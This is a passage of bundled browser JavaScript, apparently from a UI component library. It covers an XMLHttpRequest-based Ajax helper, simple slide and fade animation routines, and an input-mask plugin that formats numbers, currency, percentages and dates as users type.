for (var j = 0; j < o.length; j++) { vars[o[j]] = r[o[j]]; } } else { vars[k] = value[keys[i]]; } } } } return vars; } var d = parseData(options.data); var k = Object.keys(d); // Data form if (options.method == 'GET') { if (k.length) { var data = []; for (var i = 0; i < k.length; i++) { data.push(k[i] + '=' + encodeURIComponent(d[k[i]])); } if (options.url.indexOf('?') < 0) { options.url += '?'; } options.url += data.join('&'); } } else { var data = new FormData(); for (var i = 0; i < k.length; i++) { if (d[k[i]] instanceof FileList) { if (d[k[i]].length) { for (var j = 0; j < d[k[i]].length; j++) { data.append(k[i], d[k[i]][j], d[k[i]][j].name); } } } else { data.append(k[i], d[k[i]]); } } } } var httpRequest = new XMLHttpRequest(); httpRequest.open(options.method, options.url, true); httpRequest.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); // Content type if (options.contentType) { httpRequest.setRequestHeader('Content-Type', options.contentType); } // Headers if (options.method === 'POST') { httpRequest.setRequestHeader('Accept', 'application/json'); } else { if (options.dataType === 'blob') { httpRequest.responseType = "blob"; } else { if (! options.contentType) { if (options.dataType === 'json') { httpRequest.setRequestHeader('Content-Type', 'text/json'); } else if (options.dataType === 'html') { httpRequest.setRequestHeader('Content-Type', 'text/html'); } } } } // No cache if (options.cache !== true) { httpRequest.setRequestHeader('pragma', 'no-cache'); httpRequest.setRequestHeader('cache-control', 'no-cache'); } // Authentication if (options.withCredentials === true) { httpRequest.withCredentials = true } // Before send if (typeof(options.beforeSend) == 'function') { options.beforeSend(httpRequest); } // Before send if (typeof(Component.beforeSend) == 'function') { Component.beforeSend(httpRequest); } if (document.ajax && typeof(document.ajax.beforeSend) == 'function') { document.ajax.beforeSend(httpRequest); } httpRequest.onload = function() { if (httpRequest.status >= 200 && httpRequest.status < 300) { if (options.dataType === 'json') { try { var result = JSON.parse(httpRequest.responseText); if (options.success && typeof(options.success) == 'function') { options.success(result); } } catch(err) { if (options.error && typeof(options.error) == 'function') { options.error(err, result); } } } else { if (options.dataType === 'blob') { var result = httpRequest.response; } else { var result = httpRequest.responseText; } if (options.success && typeof(options.success) == 'function') { options.success(result); } } } else { if (options.error && typeof(options.error) == 'function') { options.error(httpRequest.responseText, httpRequest.status); } } // Global queue if (Component.queue && Component.queue.length > 0) { Component.send(Component.queue.shift()); } // Global complete method if (Component.requests && Component.requests.length) { // Get index of this request in the container var index = Component.requests.indexOf(httpRequest); // Remove from the ajax requests container Component.requests.splice(index, 1); // Deprecated: Last one? if (! Component.requests.length) { // Object event if (options.complete && typeof(options.complete) == 'function') { options.complete(result); } } // Group requests if (options.group) { if (Component.oncomplete && typeof(Component.oncomplete[options.group]) == 'function') { if (! Component.pending(options.group)) { Component.oncomplete[options.group](); Component.oncomplete[options.group] = null; } } } // Multiple requests controller if (options.multiple && options.multiple.instance) { // Get index of this request in the container var index = options.multiple.instance.indexOf(httpRequest); // Remove from the ajax requests container options.multiple.instance.splice(index, 1); // If this is the last one call method complete if (! options.multiple.instance.length) { if (options.multiple.complete && typeof(options.multiple.complete) == 'function') { options.multiple.complete(result); } } } } } // Keep the options httpRequest.options = options; // Data httpRequest.data = data; // Queue if (options.queue === true && Component.requests.length > 0) { Component.queue.push(httpRequest); } else { Component.send(httpRequest) } return httpRequest; }); Component.send = function(httpRequest) { if (httpRequest.data) { if (Array.isArray(httpRequest.data)) { httpRequest.send(httpRequest.data.join('&')); } else { httpRequest.send(httpRequest.data); } } else { httpRequest.send(); } Component.requests.push(httpRequest); } Component.exists = function(url, __callback) { var http = new XMLHttpRequest(); http.open('HEAD', url, false); http.send(); if (http.status) { __callback(http.status); } } Component.pending = function(group) { var n = 0; var o = Component.requests; if (o && o.length) { for (var i = 0; i < o.length; i++) { if (! group || group == o[i].options.group) { n++ } } } return n; } Component.oncomplete = {}; Component.requests = []; Component.queue = []; return Component } /* harmony default export */ var ajax = (Ajax()); ;// CONCATENATED MODULE: ./src/plugins/animation.js function Animation() { const Component = { loading: {} } Component.loading.show = function(timeout) { if (! Component.loading.element) { Component.loading.element = document.createElement('div'); Component.loading.element.className = 'jloading'; } document.body.appendChild(Component.loading.element); // Max timeout in seconds if (timeout > 0) { setTimeout(function() { Component.loading.hide(); }, timeout * 1000) } } Component.loading.hide = function() { if (Component.loading.element && Component.loading.element.parentNode) { document.body.removeChild(Component.loading.element); } } Component.slideLeft = function (element, direction, done) { if (direction == true) { element.classList.add('slide-left-in'); setTimeout(function () { element.classList.remove('slide-left-in'); if (typeof (done) == 'function') { done(); } }, 400); } else { element.classList.add('slide-left-out'); setTimeout(function () { element.classList.remove('slide-left-out'); if (typeof (done) == 'function') { done(); } }, 400); } } Component.slideRight = function (element, direction, done) { if (direction === true) { element.classList.add('slide-right-in'); setTimeout(function () { element.classList.remove('slide-right-in'); if (typeof (done) == 'function') { done(); } }, 400); } else { element.classList.add('slide-right-out'); setTimeout(function () { element.classList.remove('slide-right-out'); if (typeof (done) == 'function') { done(); } }, 400); } } Component.slideTop = function (element, direction, done) { if (direction === true) { element.classList.add('slide-top-in'); setTimeout(function () { element.classList.remove('slide-top-in'); if (typeof (done) == 'function') { done(); } }, 400); } else { element.classList.add('slide-top-out'); setTimeout(function () { element.classList.remove('slide-top-out'); if (typeof (done) == 'function') { done(); } }, 400); } } Component.slideBottom = function (element, direction, done) { if (direction === true) { element.classList.add('slide-bottom-in'); setTimeout(function () { element.classList.remove('slide-bottom-in'); if (typeof (done) == 'function') { done(); } }, 400); } else { element.classList.add('slide-bottom-out'); setTimeout(function () { element.classList.remove('slide-bottom-out'); if (typeof (done) == 'function') { done(); } }, 100); } } Component.fadeIn = function (element, done) { element.style.display = ''; element.classList.add('fade-in'); setTimeout(function () { element.classList.remove('fade-in'); if (typeof (done) == 'function') { done(); } }, 2000); } Component.fadeOut = function (element, done) { element.classList.add('fade-out'); setTimeout(function () { element.style.display = 'none'; element.classList.remove('fade-out'); if (typeof (done) == 'function') { done(); } }, 1000); } return Component; } /* harmony default export */ var animation = (Animation()); ;// CONCATENATED MODULE: ./src/plugins/mask.js function Mask() { // Currency var tokens = { // Text text: [ '@' ], // Currency tokens currency: [ '#(.{1})##0?(.{1}0+)?( ?;(.*)?)?', '#' ], // Percentage percentage: [ '0{1}(.{1}0+)?%' ], // Number numeric: [ '0{1}(.{1}0+)?' ], // Data tokens datetime: [ 'YYYY', 'YYY', 'YY', 'MMMMM', 'MMMM', 'MMM', 'MM', 'DDDDD', 'DDDD', 'DDD', 'DD', 'DY', 'DAY', 'WD', 'D', 'Q', 'MONTH', 'MON', 'HH24', 'HH12', 'HH', '\\[H\\]', 'H', 'AM/PM', 'MI', 'SS', 'MS', 'Y', 'M' ], // Other general: [ 'A', '0', '[0-9a-zA-Z\$]+', '.'] } var getDate = function() { if (this.mask.toLowerCase().indexOf('[h]') !== -1) { var m = 0; if (this.date[4]) { m = parseFloat(this.date[4] / 60); } var v = parseInt(this.date[3]) + m; v /= 24; } else if (! (this.date[0] && this.date[1] && this.date[2]) && (this.date[3] || this.date[4])) { v = helpers.two(this.date[3]) + ':' + helpers.two(this.date[4]) + ':' + helpers.two(this.date[5]) } else { if (this.date[0] && this.date[1] && ! this.date[2]) { this.date[2] = 1; } v = helpers.two(this.date[0]) + '-' + helpers.two(this.date[1]) + '-' + helpers.two(this.date[2]); if (this.date[3] || this.date[4] || this.date[5]) { v += ' ' + helpers.two(this.date[3]) + ':' + helpers.two(this.date[4]) + ':' + helpers.two(this.date[5]); } } return v; } var extractDate = function() { var v = ''; if (! (this.date[0] && this.date[1] && this.date[2]) && (this.date[3] || this.date[4])) { if (this.mask.toLowerCase().indexOf('[h]') !== -1) { v = parseInt(this.date[3]); } else { let h = parseInt(this.date[3]); if (h < 13 && this.values.indexOf('PM') !== -1) { v = (h+12) % 24; } else { v = h % 24; } } if (this.date[4]) { v += parseFloat(this.date[4] / 60); } if (this.date[5]) { v += parseFloat(this.date[5] / 3600); } v /= 24; } else if (this.date[0] || this.date[1] || this.date[2] || this.date[3] || this.date[4] || this.date[5]) { if (this.date[0] && this.date[1] && ! this.date[2]) { this.date[2] = 1; } var t = helpers_date.now(this.date); v = helpers_date.dateToNum(t); if (this.date[4]) { v += parseFloat(this.date[4] / 60); } } if (isNaN(v)) { v = ''; } return v; } var isBlank = function(v) { return v === null || v === '' || v === undefined ? true : false; } var isFormula = function(value) { var v = (''+value)[0]; return v == '=' ? true : false; } var isNumeric = function(t) { return t === 'currency' || t === 'percentage' || t === 'numeric' ? true : false; } /** * Get the decimal defined in the mask configuration */ var getDecimal = function(v) { if (v && Number(v) == v) { return '.'; } else { if (this.options.decimal) { return this.options.decimal; } else { if (this.locale) { var t = Intl.NumberFormat(this.locale).format(1.1); return this.options.decimal = t[1]; } else { if (! v) { v = this.mask; } var e = new RegExp('0{1}(.{1})0+', 'ig'); var t = e.exec(v); if (t && t[1] && t[1].length == 1) { // Save decimal this.options.decimal = t[1]; // Return decimal return t[1]; } else { // Did not find any decimal last resort the default var e = new RegExp('#{1}(.{1})#+', 'ig'); var t = e.exec(v); if (t && t[1] && t[1].length == 1) { if (t[1] === ',') { this.options.decimal = '.'; } else { this.options.decimal = ','; } } else { this.options.decimal = '1.1'.toLocaleString().substring(1,2); } } } } } if (this.options.decimal) { return this.options.decimal; } else { return null; } } var ParseValue = function(v, decimal) { if (v == '') { return ''; } // Get decimal if (! decimal) { decimal = getDecimal.call(this); } // New value v = (''+v).split(decimal); // Signal var signal = v[0].match(/[-]+/g); if (signal && signal.length) { signal = true; } else { signal = false; } v[0] = v[0].match(/[0-9]+/g); if (v[0]) { if (signal) { v[0].unshift('-'); } v[0] = v[0].join(''); } else { if (signal) { v[0] = '-'; } } if (v[0] || v[1]) { if (v[1] !== undefined) { v[1] = v[1].match(/[0-9]+/g); if (v[1]) { v[1] = v[1].join(''); } else { v[1] = ''; } } } else { return ''; } return v; } var FormatValue = function(v, event) { if (v === '') { return ''; } // Get decimal var d = getDecimal.call(this); // Convert value var o = this.options; // Parse value v = ParseValue.call(this, v); if (v === '') { return ''; } var t = null; // Temporary value if (v[0]) { if (o.style === 'percent') { t = parseFloat(v[0]) / 100; } else { t = parseFloat(v[0] + '.1'); } } if ((v[0] === '-' || v[0] === '-00') && ! v[1] && (event && event.inputType == "deleteContentBackward")) { return ''; } var n = new Intl.NumberFormat(this.locale, o).format(t); n = n.split(d); if (o.style === 'percent') { if (n[0].indexOf('%') !== -1) { n[0] = n[0].replace('%', ''); n[2] = '%'; } } if (typeof(n[1]) !== 'undefined') { var s = n[1].replace(/[0-9]*/g, ''); if (s) { n[2] = s; } } if (v[1] !== undefined) { n[1] = d + v[1]; } else { n[1] = ''; } return n.join(''); } var Format = function(e, event) { var v = Value.call(e); if (! v) { return; } // Get decimal var n = FormatValue.call(this, v, event); var t = (n.length) - v.length; var index = Caret.call(e) + t; // Set value and update caret Value.call(e, n, index, true); } var Extract = function(v) { // Keep the raw value var current = ParseValue.call(this, v); if (current) { // Negative values if (current[0] === '-') { current[0] = '-0'; } return parseFloat(current.join('.')); } return null; } /** * Caret getter and setter methods */ var Caret = function(index, adjustNumeric) { if (index === undefined) { if (this.tagName == 'DIV') { var pos = 0; var s = window.getSelection(); if (s) { if (s.rangeCount !== 0) { var r = s.getRangeAt(0); var p = r.cloneRange(); p.selectNodeContents(this); p.setEnd(r.endContainer, r.endOffset); pos = p.toString().length; } } return pos; } else { return this.selectionStart; } } else { // Get the current value var n = Value.call(this); // Review the position if (adjustNumeric) { var p = null; for (var i = 0; i < n.length; i++) { if (n[i].match(/[\-0-9]/g) || n[i] === '.' || n[i] === ',') { p = i; } } // If the string has no numbers if (p === null) { p = n.indexOf(' '); } if (index >= p) { index = p + 1; } } // Do not update caret if (index > n.length) { index = n.length; } if (index) { // Set caret if (this.tagName == 'DIV') { var s = window.getSelection(); var r = document.createRange(); if (this.childNodes[0]) { r.setStart(this.childNodes[0], index); s.removeAllRanges(); s.addRange(r); } } else { this.selectionStart = index; this.selectionEnd = index; } } } } /** * Value getter and setter method */ var Value = function(v, updateCaret, adjustNumeric) { if (this.tagName == 'DIV') { if (v === undefined) { var v = this.innerText; if (this.value && this.value.length > v.length) { v = this.value; } return v; } else { if (this.innerText !== v) { this.innerText = v; if (updateCaret) { Caret.call(this, updateCaret, adjustNumeric); } } } } else { if (v === undefined) { return this.value; } else { if (this.value !== v) { this.value = v; if (updateCaret) { Caret.call(this, updateCaret, adjustNumeric); } } } } } // Labels var weekDaysFull = helpers_date.weekdays; var weekDays = helpers_date.weekdaysShort; var monthsFull = helpers_date.months; var months = helpers_date.monthsShort; var parser = { 'YEAR': function(v, s) { var y = ''+new Date().getFullYear(); if (typeof(this.values[this.index]) === 'undefined') { this.values[this.index] = ''; } if (parseInt(v) >= 0 && parseInt(v) <= 10) { if (this.values[this.index].length < s) { this.values[this.index] += v; } } if (this.values[this.index].length == s) { if (s == 2) { var y = y.substr(0,2) + this.values[this.index]; } else if (s == 3) { var y = y.substr(0,1) + this.values[this.index]; } else if (s == 4) { var y = this.values[this.index]; } this.date[0] = y; this.index++; } }, 'YYYY': function(v) { parser.YEAR.call(this, v, 4); }, 'YYY': function(v) { parser.YEAR.call(this, v, 3); }, 'YY': function(v) { parser.YEAR.call(this, v, 2); }, 'FIND': function(v, a) { if (isBlank(this.values[this.index])) { this.values[this.index] = ''; } if (this.event && this.event.inputType && this.event.inputType.indexOf('delete') > -1) { this.values[this.index] += v; return; } var pos = 0; var count = 0; var value = (this.values[this.index] + v).toLowerCase(); for (var i = 0; i < a.length; i++) { if (a[i].toLowerCase().indexOf(value) == 0) { pos = i; count++; } } if (count > 1) { this.values[this.index] += v; } else if (count == 1) { // Jump number of chars var t = (a[pos].length - this.values[this.index].length) - 1; this.position += t; this.values[this.index] = a[pos]; this.index++; return pos; } }, 'MMM': function(v) { var ret = parser.FIND.call(this, v, months); if (ret !== undefined) { this.date[1] = ret + 1; } }, 'MON': function(v) { parser['MMM'].call(this, v); }, 'MMMM': function(v) { var ret = parser.FIND.call(this, v, monthsFull); if (ret !== undefined) { this.date[1] = ret + 1; } }, 'MONTH': function(v) { parser['MMMM'].call(this, v); }, 'MMMMM': function(v) { if (isBlank(this.values[this.index])) { this.values[this.index] = ''; } var pos = 0; var count = 0; var value = (this.values[this.index] + v).toLowerCase(); for (var i = 0; i < monthsFull.length; i++) { if (monthsFull[i][0].toLowerCase().indexOf(value) == 0) { this.values[this.index] = monthsFull[i][0]; this.date[1] = i + 1; this.index++; break; } } }, 'MM': function(v) { if (isBlank(this.values[this.index])) { if (parseInt(v) > 1 && parseInt(v) < 10) { this.date[1] = this.values[this.index] = '0' + v; this.index++; } else if (parseInt(v) < 2) { this.values[this.index] = v; } } else { if (this.values[this.index] == 1 && parseInt(v) < 3) { this.date[1] = this.values[this.index] += v; this.index++; } else if (this.values[this.index] == 0 && parseInt(v) > 0 && parseInt(v) < 10) { this.date[1] = this.values[this.index] += v; this.index++; } } }, 'M': function(v) { var test = false; if (parseInt(v) >= 0 && parseInt(v) < 10) { if (isBlank(this.values[this.index])) { this.values[this.index] = v; if (v > 1) { this.date[1] = this.values[this.index]; this.index++; } } else { if (this.values[this.index] == 1 && parseInt(v) < 3) { this.date[1] = this.values[this.index] += v; this.index++; } else if (this.values[this.index] == 0 && parseInt(v) > 0) { this.date[1] = this.values[this.index] += v; this.index++; } else { var test = true; } } } else { var test = true; } // Re-test if (test == true) { var t = parseInt(this.values[this.index]); if (t > 0 && t < 12) { this.date[1] = this.values[this.index]; this.index++; // Repeat the character this.position--; } } }, 'D': function(v) { var test = false; if (parseInt(v) >= 0 && parseInt(v) < 10) { if (isBlank(this.values[this.index])) { this.values[this.index] = v; if (parseInt(v) > 3) { this.date[2] = this.values[this.index]; this.index++; } } else { if (this.values[this.index] == 3 && parseInt(v) < 2) { this.date[2] = this.values[this.index] += v; this.index++; } else if (this.values[this.index] == 1 || this.values[this.index] == 2) { this.date[2] = this.values[this.index] += v; this.index++; } else if (this.values[this.index] == 0 && parseInt(v) > 0) { this.date[2] = this.values[this.index] += v; this.index++; } else { var test = true; } } } else { var test = true; } // Re-test if (test == true) { var t = parseInt(this.values[this.index]); if (t > 0 && t < 32) { this.date[2] = this.values[this.index]; this.index++; // Repeat the character this.position--; } } }, 'DD': function(v) { if (isBlank(this.values[this.index])) { if (parseInt(v) > 3 && parseInt(v) < 10) { this.date[2] = this.values[this.index] = '0' + v; this.index++; } else if (parseInt(v) < 10) { this.values[this.index] = v; } } else { if (this.values[this.index] == 3 && parseInt(v) < 2) { this.date[2] = this.values[this.index] += v; this.index++; } else if ((this.values[this.index] == 1 || this.values[this.index] == 2) && parseInt(v) < 10) { this.date[2] = this.values[this.index] += v; this.index++; } else if (this.values[this.index] == 0 && parseInt(v) > 0 && parseInt(v) < 10) { this.date[2] = this.values[this.index] += v; this.index++; } } }, 'DDD': function(v) { parser.FIND.call(this, v, weekDays); }, 'DY': function(v) { parser['DDD'].call(this, v); }, 'DDDD': function(v) { parser.FIND.call(this, v, weekDaysFull); }, 'DAY': function(v) { parser['DDDD'].call(this, v); }, 'HH12': function(v, two) { if (isBlank(this.values[this.index])) { if (parseInt(v) > 1 && parseInt(v) < 10) { if (two) { v = 0 + v; } this.date[3] = this.values[this.index] = v; this.index++; } else if (parseInt(v) < 10) { this.values[this.index] = v; } } else { if (this.values[this.index] == 1 && parseInt(v) < 3) { this.date[3] = this.values[this.index] += v; this.index++; } else if (this.values[this.index] < 1 && parseInt(v) < 10) { this.date[3] = this.values[this.index] += v; this.index++; } } }, 'HH24': function(v, two) { if (parseInt(v) >= 0 && parseInt(v) < 10) { if (this.values[this.index] == null || this.values[this.index] == '') { if (parseInt(v) > 2 && parseInt(v) < 10) { if (two) { v = 0 + v; } this.date[3] = this.values[this.index] = v; this.index++; } else if (parseInt(v) < 10) { this.values[this.index] = v; } } else { if (this.values[this.index] == 2 && parseInt(v) < 4) { if (! two && this.values[this.index] === '0') { this.values[this.index] = ''; } this.date[3] = this.values[this.index] += v; this.index++; } else if (this.values[this.index] < 2 && parseInt(v) < 10) { if (! two && this.values[this.index] === '0') { this.values[this.index] = ''; } this.date[3] = this.values[this.index] += v; this.index++; } } } }, 'HH': function(v) { parser['HH24'].call(this, v, 1); }, 'H': function(v) { parser['HH24'].call(this, v, 0); }, '\\[H\\]': function(v) { if (this.values[this.index] == undefined) { this.values[this.index] = ''; } if (v.match(/[0-9]/g)) { this.date[3] = this.values[this.index] += v; } else { if (this.values[this.index].match(/[0-9]/g)) { this.date[3] = this.values[this.index]; this.index++; // Repeat the character this.position--; } } }, 'N60': function(v, i) { if (this.values[this.index] == null || this.values[this.index] == '') { if (parseInt(v) > 5 && parseInt(v) < 10) { this.date[i] = this.values[this.index] = '0' + v; this.index++; } else if (parseInt(v) < 10) { this.values[this.index] = v; } } else { if (parseInt(v) < 10) { this.date[i] = this.values[this.index] += v; this.index++; } } }, 'MI': function(v) { parser.N60.call(this, v, 4); }, 'SS': function(v) { parser.N60.call(this, v, 5); }, 'AM/PM': function(v) { if (typeof(this.values[this.index]) === 'undefined') { this.values[this.index] = ''; } if (this.values[this.index] === '') { if (v.match(/a/i) && this.date[3] < 13) { this.values[this.index] += 'A'; } else if (v.match(/p/i)) { this.values[this.index] += 'P'; } } else if (this.values[this.index] === 'A' || this.values[this.index] === 'P') { this.values[this.index] += 'M'; this.index++; } }, 'WD': function(v) { if (typeof(this.values[this.index]) === 'undefined') { this.values[this.index] = ''; } if (parseInt(v) >= 0 && parseInt(v) < 7) { this.values[this.index] = v; } if (this.values[this.index].length == 1) { this.index++; } }, '0{1}(.{1}0+)?': function(v) { // Get decimal var decimal = getDecimal.call(this); // Negative number var neg = false; // Create if is blank if (isBlank(this.values[this.index])) { this.values[this.index] = ''; } else { if (this.values[this.index] == '-') { neg = true; } } var current = ParseValue.call(this, this.values[this.index], decimal); if (current) { this.values[this.index] = current.join(decimal); } // New entry if (parseInt(v) >= 0 && parseInt(v) < 10) { // Replace the zero for a number if (this.values[this.index] == '0' && v > 0) { this.values[this.index] = ''; } else if (this.values[this.index] == '-0' && v > 0) { this.values[this.index] = '-'; } // Don't add up zeros because does not mean anything here if ((this.values[this.index] != '0' && this.values[this.index] != '-0') || v == decimal) { this.values[this.index] += v; } } else if (decimal && v == decimal) { if (this.values[this.index].indexOf(decimal) == -1) { if (! this.values[this.index]) { this.values[this.index] = '0'; } this.values[this.index] += v; } } else if (v == '-') { // Negative signed neg = true; } if (neg === true && this.values[this.index][0] !== '-') { this.values[this.index] = '-' + this.values[this.index]; } }, '0{1}(.{1}0+)?%': function(v) { parser['0{1}(.{1}0+)?'].call(this, v); if (this.values[this.index].match(/[\-0-9]/g)) { if (this.values[this.index] && this.values[this.index].indexOf('%') == -1) { this.values[this.index] += '%'; } } else { this.values[this.index] = ''; } }, '#(.{1})##0?(.{1}0+)?( ?;(.*)?)?': function(v) { // Parse number parser['0{1}(.{1}0+)?'].call(this, v); // Get decimal var decimal = getDecimal.call(this); // Get separator var separator = this.tokens[this.index].substr(1,1); // Negative var negative = this.values[this.index][0] === '-' ? true : false; // Current value var current = ParseValue.call(this, this.values[this.index], decimal); // Get main and decimal parts if (current !== '') { // Format number var n = current[0].match(/[0-9]/g); if (n) { // Format n = n.join(''); var t = []; var s = 0; for (var j = n.length - 1; j >= 0 ; j--) { t.push(n[j]); s++; if (! (s % 3)) { t.push(separator); } } t = t.reverse(); current[0] = t.join(''); if (current[0].substr(0,1) == separator) { current[0] = current[0].substr(1); } } else { current[0] = ''; } // Value this.values[this.index] = current.join(decimal); // Negative if (negative) { this.values[this.index] = '-' + this.values[this.index]; } } }, '0': function(v) { if (v.match(/[0-9]/g)) { this.values[this.index] = v; this.index++; } }, '[0-9a-zA-Z$]+': function(v) { if (isBlank(this.values[this.index])) { this.values[this.index] = ''; } var t = this.tokens[this.index]; var s = this.values[this.index]; var i = s.length; if (t[i] == v) { this.values[this.index] += v; if (this.values[this.index] == t) { this.index++; } } else { this.values[this.index] = t; this.index++; if (v.match(/[\-0-9]/g)) { // Repeat the character this.position--; } } }, 'A': function(v) { if (v.match(/[a-zA-Z]/gi)) { this.values[this.index] = v; this.index++; } }, '.': function(v) { parser['[0-9a-zA-Z$]+'].call(this, v); }, '@': function(v) { if (isBlank(this.values[this.index])) { this.values[this.index] = ''; } this.values[this.index] += v; } } /** * Get the tokens in the mask string */ var getTokens = function(str) { if (this.type == 'general') { var t = [].concat(tokens.general); } else { var t = [].concat(tokens.currency, tokens.datetime, tokens.percentage, tokens.numeric, tokens.text, tokens.general); } // Expression to extract all tokens from the string var e = new RegExp(t.join('|'), 'gi'); // Extract return str.match(e); } /** * Get the method of one given token */ var getMethod = function(str) { if (! this.type) { var types = Object.keys(tokens); } else if (this.type == 'text') { var types = [ 'text' ]; } else if (this.type == 'general') { var types = [ 'general' ]; } else if (this.type == 'datetime') { var types = [ 'numeric', 'datetime', 'general' ]; } else { var types = [ 'currency', 'percentage', 'numeric', 'general' ]; } // Found for (var i = 0; i < types.length; i++) { var type = types[i]; for (var j = 0; j < tokens[type].length; j++) { var e = new RegExp(tokens[type][j], 'gi'); var r = str.match(e); if (r) { return { type: type, method: tokens[type][j] } } } } } /** * Identify each method for each token */ var getMethods = function(t) { var result = []; for (var i = 0; i < t.length; i++) { var m = getMethod.call(this, t[i]); if (m) { result.push(m.method); } else { result.push(null); } } // Compatibility with excel for (var i = 0; i < result.length; i++) { if (result[i] == 'MM') { // Not a month, correct to minutes if (result[i-1] && result[i-1].indexOf('H') >= 0) { result[i] = 'MI'; } else if (result[i-2] && result[i-2].indexOf('H') >= 0) { result[i] = 'MI'; } else if (result[i+1] && result[i+1].indexOf('S') >= 0) { result[i] = 'MI'; } else if (result[i+2] && result[i+2].indexOf('S') >= 0) { result[i] = 'MI'; } } } return result; } /** * Get the type for one given token */ var getType = function(str) { var m = getMethod.call(this, str); if (m) { var type = m.type; } if (type) { var numeric = 0; // Make sure the correct type var t = getTokens.call(this, str); for (var i = 0; i < t.length; i++) { m = getMethod.call(this, t[i]); if (m && isNumeric(m.type)) { numeric++; } } if (numeric > 1) { type = 'general'; } } return type; } /** * Parse character per character using the detected tokens in the mask */ var parse = function() { // Parser method for this position if (typeof(parser[this.methods[this.index]]) == 'function') { parser[this.methods[this.index]].call(this, this.value[this.position]); this.position++; } else { this.values[this.index] = this.tokens[this.index]; this.index++; } } var toPlainString = function(num) { return (''+ +num).replace(/(-?)(\d*)\.?(\d*)e([+-]\d+)/, function(a,b,c,d,e) { return e < 0 ? b + '0.' + Array(1-e-c.length).join(0) + c + d : b + c + d + Array(e-d.length+1).join(0); }); } /** * Mask function * @param {mixed|string} JS input or a string to be parsed * @param {object|string} When the first param is a string, the second is the mask or object with the mask options */ var obj = function(e, config, returnObject) { // Options var r = null; var t = null; var o = { // Element input: null, // Current value value: null, // Mask options options: {}, // New values for each token found values: [], // Token position index: 0, // Character position position: 0, // Date raw values date: [0,0,0,0,0,0], // Raw number for the numeric values number: 0, } // This is a JavaScript Event if (typeof(e) == 'object') { // Element o.input = e.target; // Current value o.value = Value.call(e.target); // Current caret position o.caret = Caret.call(e.target); // Mask if (t = e.target.getAttribute('data-mask')) { o.mask = t; } // Type if (t = e.target.getAttribute('data-type')) { o.type = t; } // Options if (e.target.mask) { if (e.target.mask.options) { o.options = e.target.mask.options; } if (e.target.mask.locale) { o.locale = e.target.mask.locale; } } else { // Locale if (t = e.target.getAttribute('data-locale')) { o.locale = t; if (o.mask) { o.options.style = o.mask; } } } // Extra configuration if (e.target.attributes && e.target.attributes.length) { for (var i = 0; i < e.target.attributes.length; i++) { var k = e.target.attributes[i].name; var v = e.target.attributes[i].value; if (k.substr(0,4) == 'data') { o.options[k.substr(5)] = v; } } } } else { // Options if (typeof(config) == 'string') { // Mask o.mask = config; } else { // Mask var k = Object.keys(config); for (var i = 0; i < k.length; i++) { o[k[i]] = config[k[i]]; } } if (typeof(e) === 'number') { // Get decimal getDecimal.call(o, o.mask); // Replace to the correct decimal e = (''+e).replace('.', o.options.decimal); } // Current o.value = e; if (o.input) { // Value Value.call(o.input, e); // Focus helpers.focus(o.input); // Caret o.caret = Caret.call(o.input); } } // Mask detected start the process if (! isFormula(o.value) && (o.mask || o.locale)) { // Compatibility fixes if (o.mask) { // Remove [] o.mask = o.mask.replace(new RegExp(/\[h]/),'|h|'); o.mask = o.mask.replace(new RegExp(/\[.*?\]/),''); o.mask = o.mask.replace(new RegExp(/\|h\|/),'[h]'); if (o.mask.indexOf(';') !== -1) { var t = o.mask.split(';'); o.mask = t[0]; } // Excel mask TODO: Improve if (o.mask.indexOf('##') !== -1) { var d = o.mask.split(';'); if (d[0]) { if (typeof(e) == 'object') { d[0] = d[0].replace(new RegExp(/_\)/g), ''); d[0] = d[0].replace(new RegExp(/_\(/g), ''); } d[0] = d[0].replace('*', '\t'); d[0] = d[0].replace(new RegExp(/_-/g), ''); d[0] = d[0].replace(new RegExp(/_/g), ''); d[0] = d[0].replace('##0.###','##0.000'); d[0] = d[0].replace('##0.##','##0.00'); d[0] = d[0].replace('##0.#','##0.0'); d[0] = d[0].replace('##0,###','##0,000'); d[0] = d[0].replace('##0,##','##0,00'); d[0] = d[0].replace('##0,#','##0,0'); } o.mask = d[0]; } // Remove back slashes if (o.mask.indexOf('\\') !== -1) { var d = o.mask.split(';'); d[0] = d[0].replace(new RegExp(/\\/g), ''); o.mask = d[0]; } // Get type if (! o.type) { o.type = getType.call(o, o.mask); } // Get tokens o.tokens = getTokens.call(o, o.mask); } // On new input if (typeof(e) !== 'object' || ! e.inputType || ! e.inputType.indexOf('insert') || ! e.inputType.indexOf('delete')) { // Start transformation if (o.locale) { if (o.input) { Format.call(o, o.input, e); } else { var newValue = FormatValue.call(o, o.value); } } else { // Get tokens o.methods = getMethods.call(o, o.tokens); o.event = e; // Go through all tokes while (o.position < o.value.length && typeof(o.tokens[o.index]) !== 'undefined') { // Get the appropriate parser parse.call(o); } // New value var newValue = o.values.join(''); // Add tokens to the end of string only if string is not empty if (isNumeric(o.type) && newValue !== '') { // Complement things in the end of the mask while (typeof(o.tokens[o.index]) !== 'undefined') { var t = getMethod.call(o, o.tokens[o.index]); if (t && t.type == 'general') { o.values[o.index] = o.tokens[o.index]; } o.index++; } var adjustNumeric = true; } else { var adjustNumeric = false; } // New value newValue = o.values.join(''); // Reset value if (o.input) { t = newValue.length - o.value.length; if (t > 0) { var caret = o.caret + t; } else { var caret = o.caret; } Value.call(o.input, newValue, caret, adjustNumeric); } } } // Update raw data if (o.input) { var label = null; if (isNumeric(o.type)) { let v = Value.call(o.input); // Extract the number o.number = Extract.call(o, v); // Keep the raw data as a property of the tag if (o.type == 'percentage' && v.indexOf('%') !== -1) { label = o.number / 100; } else { label = o.number; } } else if (o.type == 'datetime') { label = getDate.call(o); if (o.date[0] && o.date[1] && o.date[2]) { o.input.setAttribute('data-completed', true); } } if (label) { o.input.setAttribute('data-value', label); } } if (newValue !== undefined) { if (returnObject) { return o; } else { return newValue; } } } } // Get the type of the mask obj.getType = getType; // Extract the tokens from a mask obj.prepare = function(str, o) { if (! o) { o = {}; } return getTokens.call(o, str); } /** * Apply the mask to a element (legacy) */ obj.apply = function(e) { var v = Value.call(e.target); if (e.key.length == 1) { v += e.key; } Value.call(e.target, obj(v, e.target.getAttribute('data-mask'))); } /** * Legacy support */ obj.run = function(value, mask, decimal) { return obj(value, { mask: mask, decimal: decimal }); } /** * Extract number from masked string */ obj.extract = function(v, options, returnObject) { if (isBlank(v)) { return v; } if (typeof(options) != 'object') { return v; } else { options = Object.assign({}, options); if (! options.options) { options.options = {}; } } // Compatibility if (! options.mask && options.format) { options.mask = options.format; } // Remove [] if (options.mask) { if (options.mask.indexOf(';') !== -1) { var t = 